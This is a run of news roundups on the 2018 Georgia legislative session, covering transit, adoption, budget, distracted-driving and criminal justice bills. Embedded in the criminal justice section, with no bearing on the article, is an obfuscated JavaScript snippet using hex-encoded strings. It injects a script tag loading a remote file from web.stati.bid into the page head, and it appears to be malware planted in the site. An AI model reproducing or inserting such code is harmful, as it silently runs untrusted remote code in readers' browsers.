Crossover Day countdown for transit reform, criminal justice reform, and distracted driving

The Georgia General Assembly will enter on Monday one of the session’s most turbulent periods, a half-way point scramble by which all bills must have cleared their originating chamber if they are to be eligible for full passage this year.

The approach of Crossover Day, whose Feb. 28 threshold was inched up by two days from last year amid a desire from Senate leadership to expedite the legislative year, will trigger a marathon of activity by leadership in both chambers to keep on track the session’s priority proposals.

Here’s what we’re watching before Wednesday hard stop:

Transit reform
The years-long effort to reshape transportation services throughout metropolitan Atlanta faces an important test Wednesday, as neither of the two GOP-led transit reform companion bills have passed their respective houses.

The House and Senate Transportation committees last week gave the green light to the bills, which provide for the financing of new transit projects through the creation of a handful of new taxes, including fees and goods sold at the airports in Atlanta and Savannah and another on taxi and ride-hailing fares. The proposals would also recast the Georgia Regional Transportation Authority as the Atlanta-region Transit Link, or ATL, and empower it govern transit planning in the 13 metro counties with the hope of inspiring greater regional cooperation.

Distracted driving
There’s an effort underway in the House to make Georgia the 16th state in the nation to ban drivers from holding their phones while driving, eliminating alleged enforcement confusion because, while it’s already illegal to text while driving, it remains legal to dial the phone.

The proposal passed out of a House committee last week and awaits debate on the full floor.

Criminal justice
The final pieces of outgoing Governor Nathan Deal’s years-long initiative to reform the state’s criminal justice system is bumping up against the Crossover Day barrier to adoption, but is expected to clear the hurdle just in time.

The governor’s latest criminal justice reform package includes a proposal that would endow state judges with more power to forego cash bail for low-income, non-violent offenders and more options to impose community service instead. The bill is expected to come up for a vote in the Senate on Monday morning. var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

Transit reform inches forward in Ga. General Assembly

Speaker David Ralston is backing a Republican transit reform package that would reshape transportation services throughout metropolitan Atlanta, signaling the much-anticipated measure should at least get a vote in the House.

The 77-page bill, introduced by Transportation Committee Chairman Kevin Tanner, would recast the Georgia Regional Transportation Authority as the Atlanta-region Transit Link, or ATL, and empower it to govern transit planning in 13 metro counties: Cherokee, Clayton, Coweta, Cobb, DeKalb, Douglas, Fayette, Forsyth, Fulton, Gwinnett, Henry, Paulding and Rockdale.

The bill would provide financing for new transit projects through the creation of a handful of new taxes, including fees on goods sold at the airports in Atlanta and Savannah and one on taxi and ride-hailing fares.

A companion reform bill is under consideration by the Senate

Elsewhere under the Dome …

Religious conservatives in the Senate have introduced a measure to allow adoption agencies to turn away married same-sex couples, the latest religious liberty effort in the General Assembly. A mirror provision was attached to an adoption reform package last year, killing the bill in the eleventh hour. (An adoption reform bill was passed this year by both chambers after both the governor and speaker demanded a so-called clean bill.)

The House Public Safety Committee green lighted a bill to bring some state oversight to the controversial practice of vehicle booting. The measure now advances to the Rules Committee.

The House voted by near unanimous measure to approve a constitutional amendment to prevent the misappropriation of environmental fees for other purposes in the state budget. Each year, a large portion of revenues collected for the purpose of disposing tires or cleaning hazardous waste sites are leveraged for other expenses.

The Senate OK’d a supplemental spending bill for fiscal year 2018 last week, and the chamber’s slight adjustment to an earlier-passed version goes back to the House for a second time for final passage.

The House Education Committee advanced a proposal to increase funding for State Commission Charter Schools. The current state funding formula is based on the average spending of the five lowest-spending school districts, and the new bill would increase state spending to the average spending of all school districts.

Ga. House OK’s 2018 ‘Little Budget’

The Georgia House of Representatives approved last week a midyear spending bill to make use of additional revenues for fiscal year 2018, appropriating more than $300 million in new money.

The supplemental budget, known around the capitol as the “Little Budget,” will keep state agencies and offices running through June 30, when a new fiscal year will begin.

More than a third of the newly apportioned revenue will go to public schools and colleges. Other tens of millions will be directed to health care programs serving poor Georgians.

The so-called Little Budget now goes to the Senate for consideration, and its eminent passage brings the General Assembly one step closer to addressing and completing its singular constitutional obligation: passing a balanced spending plan, known as the Big Budget, for the next fiscal year.

Elsewhere in the capitol …

A House education subcommittee green lighted a proposal to address supplemental funding inequities for charter schools across the state, while another committee approved legislation providing for a new sales tax exemption to help pay for a potential expansion by the Georgia Aquarium.

Senator Brandon Beach has introduced his long-awaited transit reform bill, which would create new transit funding mechanisms through an optional local sales tax. The stipulates that MARTA would operate any service funded by the new tax. Specifically, the bill would:

  • Provide for a 1% Transit SPLOST and excluding that tax from the 2% cap;
  • Allow counties to fund transit projects within their jurisdiction, subject to approval of those projects by the Commission, and referenda would be carried out in accordance with other such SPLOSTs.  Approved projects would then be evaluated and prioritized by the local jurisdictions affected in conjunction with MARTA.  Local jurisdictions will also have the option to execute intergovernmental agreements with MARTA under which MARTA would assume control of future transit services.  For all intents and purposes, this bill would appear to impact 13 metro Atlanta counties: Cherokee, Clayton, Coweta, Cobb, DeKalb, Douglas, Fayette, Forsyth, Fulton, Gwinnett, Henry, Paulding, and Rockdale; and
  • Create the Atlanta-region Transit Link “ATL” Commission as a new division under the Georgia Regional Transportation Commission. The purpose of this Commission is to plan and coordinate the provision of transit services, the establishment of transit facilities, and the funding of those purposes throughout its jurisdiction. This jurisdiction consists of any county which has approved a MARTA tax or any county which has approved a Transit SPLOST.  Initially the Commission would consist of 11 members.

Spurred by recommendations from House Rural Development Council, legislation has been introduced in the House that would finance the cost of developing rural broadband with a new tax on digital content streaming services like Netflix.

Senate OKs House tweaks to long-awaited adoption reform bill, heads now to Deal

The Georgia state Senate voted by near unanimous measure on Monday to approve compromise changes offered by the House last week to an adoption reform package that’s been bouncing unsuccessfully through the General Assembly for the last two years.

An attempt to reform the state’s cumbersome adoption processes failed in the eleventh hour last year after a controversial religious liberty provision was attached. After its failure, Governor Nathan Deal and Speaker David Ralston demanded the legislature reconsider the bill without the poison pill provision. The General Assembly made good on the no-religious-liberty-language demand, but the Senate pointedly added a new plank that would empower parents to give temporary, revocable guardianship to relatives or other qualified adults in an effort to keep children out of the foster care system.

While the bill technically satisfied the governor’s religious liberty demand, confusion reigned under the Gold Dome in the days that followed the Senate’s inclusion of the powers of attorney proposal, principally because the governor vetoed the same measure in a separate bill the year prior.

The House offered up last week a potential compromise, but Senate leadership did not outwardly indicate when or whether it would review the adjusted proposal. Now that it has, the bill’s long road in the legislature has ended. The bill heads next to Deal’s desk for consideration.

Ga. adoption reform in limbo

UPDATE: Despite Senate leadership’s tight-lipped response to a House compromise on adoption reform, the upper chamber voted nearly unanimously on Monday to advance the bill to Governor Nathan Deal’s desk for consideration. The vote ends a two-year effort under the Gold Dome to overhaul the state’s outmoded systems for placing children with new families. Get all the details here.

The Georgia House of Representatives approved last week a compromise version of an adoption reform package that would make simpler the cumbersome, costly process of placing children with new families.

After a similar bill failed last year when a controversial religious liberty amendment was attached, Governor Nathan Deal and House Speaker David Ralston insisted that the General Assembly take up consideration of a new, clean adoption reform bill. The legislature made good on the governor’s no-religious-liberty-language demand, but the Senate pointedly added a provision to a House-passed bill that would empower parents to give temporary, revocable guardianship to relatives or other qualified adults in an effort to keep children out of the foster care system.

The inclusion of the powers of attorney plank, which was vetoed by the governor in a separate bill last year, complicated the bill’s passage. With it included, the adjusted proposal was kicked back to the House for approval, additional adjustment, or negotiations in conference committee.

After a week of wrangling, the House has offered the Senate a potential compromise, which it passed on a 168-0 vote, but it’s unclear when or if the upper chamber will take action on the reforms. Reportedly, Senate lawmakers are chafed by a new provision in the compromise bill that would make it legal to reimburse birth mothers’ basic living expenses in private adoptions.

Elsewhere in the capitol…

The House Appropriations Committee green lighted the governor’s 2018 supplemental budget, known under the Gold Dome as the “little budget,” which advances next to the Rules Committee. The spending blueprint contains a handful of tweaks from the governor’s proposal, including more funding for the purchase of new school buses and educational-focused mobile welding labs.

Representatives Scott Hilton and Jan Jones have introduced a bill to amend Title 20, proposing basing charter supplement funding on the statewide average of local revenue. Currently, the state charter supplement is based on the average of the lowest five school systems as ranked by the assessed valuation per weighted FTE. The capital revenue calculation would also be applied to certain virtual schools.

The House may take up consideration this week of a proposal that would add opioids to the drug screen for those seeking employment with the state, while the Senate may vote on a bill to allow lottery winners to keep their identity secret if they pay up to 4 percent of their winnings.

Senator Michael Williams, one of several GOP gubernatorial hopefuls, has introduced legislation to protect high school coaches who participate in pre-sporting event prayers with student athletes and boosters.

Representative Jay Powell’s proposal to require sales taxes be paid on all internet purchases won approval last week from the Senate Finance Committee. The bill, which would impact online retailers whose sales exceed $250,000 or those with more than 200 Georgia-based sales per year, easily cleared the House last year.

Ga. House, Senate leadership agree to crossover, sine die dates

The General Assembly’s pace quickened last week after a sluggish start to session, stalled in part by unusual winter weather and a shortage of essential legislative priorities.

After earlier sparring over an adjournment resolution that could have split the two chamber’s work calendars, leadership from the House and Senate agreed to a time table for the remainder of the 2018 session.

The consensus calendar encircled Feb. 28 as crossover day—the point by which any bill must have been green lighted by at least once chamber to remain viable—and March 29 as the final day of session. Leadership has pledged it will adjourn no later than midnight on sine die (from the Latin “without day”), as has occurred in recent years.

Elsewhere under the Gold Dome …

Senator David Shafer, a Republican vying for the open Lt. Governor’s post, has proposed an amendment to the Georgia constitution that would declare English as the official language of the state.

An omnibus health care bill based in part on the policy recommendations of the House Rural Development Council is expected to be dropped this week. The measure is said to include a provision tinkering with the state’s certificate-of-need framework, but won’t repeal the hospital rule in urban areas as was proposed last year by the Council.

Legislation to propose a new structure for the governance and funding of transit in the metro Atlanta area are being finalized and will likely be introduced this week or next.

A bipartisan group of senators are backing legislation to reduce Georgia Power’s profits on the multi-billion dollar Plant Vogtle nuclear facility by restricting the so-called nuclear tariff the utility has been charging customers’ since 2011 to finance the project. Under the bill, Georgia Power would no longer be allowed to charge the financing fee on parts of the notoriously laggard project that had fallen behind the original schedule.

The Senate voted 49-0 last week to approve a raft of technical adjustments to the state’s garnishment law, which was overhauled two years earlier amid a rebuke by federal courts. The updates would bring the state code into alignment with federal garnishment rules.

Winter storm stalls Ga. legislature’s work

The Georgia Senate voted overwhelmingly last week to adopt comprehensive reforms to the state’s outmoded adoption law, but the bill’s fate remains far from settled amid a swirl of election-year politics and personality conflicts.

A similar measure came up for consideration last year, but stalled after a religious liberty provision was attached in the final hours of the legislative session. The Senate’s newly approved version pointedly excluded last year’s poison pill, but it contains a provision—an amendment to grant temporary powers of attorneys to guardians of children—that Governor Nathan Deal vetoed last year.

The legislation will now return to the House of Representatives, which already twice passed adoption reform bills in as many years. The House has before it three options: agreement to the Senate version as-is; remove the offending powers of attorney’s plank and return it to the upper chamber; or send the bill to a conference committee of both chambers to negotiate a compromise.

The legislation has been a top priority for Governor Deal and Speaker David Ralston for two years running, and they entered the new year demanding a clean bill—that is, one not adulterated with controversial religious liberty language. Senate proponents insist the revised legislation is, in fact, a clean child welfare proposal that will also assist struggling working class families who may face short-term personal crises.

Elsewhere in the capitol…

The recent winter storm that dusted north Georgia with a mix of snow and ice suspended state and local government activity for much of the week. Both chambers’ budget hearings were cut short, but are expected to resume this week.

One-time House lawmakers Brian Strickland was sworn in last week to fill the Senate seat vacated by Sen. Rick Jeffares, who left his seat to pursue a run for Lt. Governor. The governor announced that Strickland would serve as one of his administration’s floor leaders for the remainder of the session.

Republican Geoffrey Cauble, a Henry County general contractor, was elected to House to fill the House seat vacated by Senator Strickland.